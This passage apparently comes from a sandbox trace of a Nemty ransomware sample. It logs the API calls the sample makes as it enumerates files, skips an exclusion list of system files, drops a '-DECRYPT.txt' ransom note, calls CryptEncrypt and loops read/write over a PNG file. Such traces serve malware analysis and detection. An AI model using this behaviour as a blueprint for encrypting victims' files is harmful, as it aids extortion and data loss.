returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="IO.SYS") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="boot.ini") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="boot.ini") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="AUTOEXEC.BAT") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="ntuser.dat") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="desktop.ini") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="CONFIG.SYS") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="RECYCLER") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="BOOTSECT.BAK") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="bootmgr") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="programdata") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="appdata") returned 1 [0092.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Travel", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0092.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Travel", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Travel", lpUsedDefaultChar=0x0) returned 6 [0092.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Travel", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0092.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Travel", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Travel", lpUsedDefaultChar=0x0) returned 6 [0092.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0092.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0092.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0092.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0092.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0092.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0092.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0092.748] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0092.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0092.751] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.751] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0092.752] CloseHandle (hObject=0x3cc) returned 1 [0092.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0092.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0092.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0092.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0092.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0092.752] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0092.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0092.753] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.753] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0092.754] CloseHandle (hObject=0x3cc) returned 1 [0092.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0092.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0092.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeaec9310, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeaec9310, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0092.754] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.754] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeaec9310, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeaec9310, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0092.754] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.754] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.754] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0092.754] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2=".") returned 1 [0092.754] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="..") returned 1 [0092.754] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="...") returned 1 [0092.754] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="windows") returned -1 [0092.754] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="$RECYCLE.BIN") returned 1 [0092.754] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="rsa") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="NTDETECT.COM") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntldr") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="MSDOS.SYS") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="IO.SYS") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="AUTOEXEC.BAT") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.dat") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="desktop.ini") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="CONFIG.SYS") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RECYCLER") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="BOOTSECT.BAK") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgr") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="programdata") returned -1 [0092.755] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="appdata") returned -1 [0092.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0092.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0092.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0092.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0092.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0092.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0092.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0092.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0092.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0092.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0092.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0092.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0092.756] Sleep (dwMilliseconds=0x5) [0092.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeaf155d0, dwHighDateTime=0x1d561e7)) [0092.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeaf155d0, dwHighDateTime=0x1d561e7)) [0092.780] GetLastError () returned 0xb7 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.781] GetLastError () returned 0xb7 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0092.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0092.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="S5GWBx3k7OcQh42WljtXhX0y1ThDpaq918RHhUpfq8CV+MKfccAU46d1rfu1pbOR\r\niYwlNiKk9OiLrQTCh4b9xdExrvjzLkn4cA0PINoeD4kMfTZzxxb4WCtW1lvewuyG\r\ncltU6BDS2WwnXGSl98BM/4egsx5dUjFuTUzKMWoqk65WXuA+r599vZsBBR6IfP3T\r\nZNLjw2t0/HVoakZfIqXziyO3BeJtRnHLTSRD+OfhH+yJOX3EK2Pzrc6PPfHNM5Zj\r\nXFaj+HeNJeirooSKkNaNNG3m3xcfh6BS50vk/5MMAITWBNzkx+HlzubB2a6SloB2\r\nK1bU+rfboXzrsml4IERRrA==\r\n", pcchString=0x653e91c) returned 1 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0092.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0092.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.781] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.782] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, 